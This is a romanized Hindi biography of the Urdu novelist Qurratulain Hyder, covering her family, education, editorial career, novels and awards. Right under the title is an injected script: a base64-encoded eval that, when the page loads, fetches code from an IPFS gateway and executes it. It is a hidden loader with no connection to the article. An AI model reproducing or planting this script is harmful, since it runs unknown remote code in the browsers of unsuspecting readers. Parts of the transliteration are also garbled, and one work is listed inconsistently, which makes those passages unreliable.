क़ुर्रतुलऐन हैदर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

qurratulain haidar ka (janm-1927 aligadh, uttar pradesh), mean hua tha. yah jnanapith puraskar se sammanit urdoo ki prasiddh lekhika thi.

jivan parichay

qurratulain haidar ke pita sajjad haidar yildiram aligadh muslim vishvavidyalay mean rajistrar the. qurratulain haidar ke parivar me tin pidhiyoan se likhane ki paranpara rahi. qurratulain haidar ke pita ki ganana urdoo ke pratishthit kathakaroan mean hoti thi. qurratulain haidar ki maan nazar sajjad haidar ‘urdoo’ ki jen ‘aaustin’ kahalati thian. qurratulain ko bachapan se hi likhane ka shauk raha praranbh mean unhoanne bachcho ke lie kuchh kahaniyaan likhian. qurratulain ki pahali maulik kahani prasiddh sahityik patrika saqi mean prakashit huee. sanpadakiy mean isaki prashansa vishesh ullekh ke sath ki gee thian. is kahani se qurratulain haidar ko kafi protsahan mila aur vah nirantar likhati chali gee. apane lekhan mean unhone kabhi kisi ke anukaran ka prayas nahi kiya, jo kuchh bhi likha apane jivananubhav, kalpana aur chiantan ke adhar par hi likha.

shiksha

1947 mean qurratulain ne lakhanoo vishvavidyalay se aangrezi sahity mean em.e.kiya. isi varsh qurratulain haidar ki kahaniyoan ka pahala sangrah, sitaro ke age prakashit hua. isame sankalit lagabhag sabhi kahaniyaan urdoo mean haian. qurratulain haidar ne ghatanaoan ki apeksha unase janm lene vali anubhootiyoan aur sanvedanao ko vishesh mahatv diya. in kahaniyoan dvara pathak ke sammukh ek aparichit si duniya prastut ki gee jisamean jivan ki arthahinata ka saket tha har taraph chhaee huee dhuandh thi. ek manograhi shayarana udasi thian. qurratulain haidar 1950 se 1960 ke madhy landan me rahi. bharat lotane ke bad unhone bambee mean imprit ke prabandh sanpadak ka pad sanbhala. usake bad lagabhag sat varsh vah ilastreted vikali aauf iandiya ke sanpadan vibhag ke sabanddh mean rahian. katha lekhan ke alava lalit kalaoan, khasakar sangit aur chitrakala mean bhi unaki gahari ruchi thi. gardishe range chaman mean unake rekhaankan prakashit hue haian.

qurratulain haidar ka pahala upanyas mere bhi sanamakhane 1949 mean prakashit hua. yah upanyas bharat ki samanvit sanskriti ke madhyam se manavata ki trasadi prastut karata hai. bharat ki vah samajik sanskriti, jo yahaan rahane vale hiandoo muslim samudayoan ke lie ekata aur prem ka prasad aur gaurav ka pratik thi, desh-vibhajan ke bad vah khandit ho gee. yah pi da mere bhi sanamakhane mean lakhanoo ke kuchh adarshavadi alh d evan jivant l dake l dakiyoan ki samoohik vyatha–katha ke madhyam se b de hi marmik rup mean darshaee gee hai. 1952 mean qurratulain haidar ka doosara upanyas safina–e–game dil aur 1954 mean unaka doosara kahani sankalan shishe ke ghar prakashit hua. is sankalan mean jalavatan yah dag dag ujala aur landan kahaniyaan vishesh ullekhaniy haian. disanbar 1959 mean qurratulain haidar ka suprasiddh upanyas ag ka dariya prakashit hua jisane sahity jagat me tahalaka macha diya. yah upanyas apani bhasha shaili, rachana-shilp, vishay–vastu aur chiantan, har drishti se ek nee panrapara ka sootrapat karata hai. kare-jahaan-daraz upanyas ke bad qurratulain haidar ke tin aur upanyas prakashit ho chuke haian. ek upanyasakar ke roop me qurratulain haidar ki ganana urdoo ke mahan sahityakaroan mean ki jati hai.

upanyas

• mere bhi sanamakhane (1949)
• safina-e-game-dil (1952)
• ag ka dariya (1959)
• akhiri shab ke hamasafar (1979)
• gardishe–range-chaman (1987)
• chaandani begam (1990)
• kare-jahaan-daraz hai. (1978-79)
• shishe ke ghar (1952)
• patajhar ki avaz (1967)
• roshani ki raftar (1982)

puraskar

qurratulain haidar ko sahity akadami puraskar (1967) soviyat laian d neharu puraskar (1969), galib avard (1985), iqabal samman (1987), aur jnapith puraskar (1991), se sammanit kiya gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh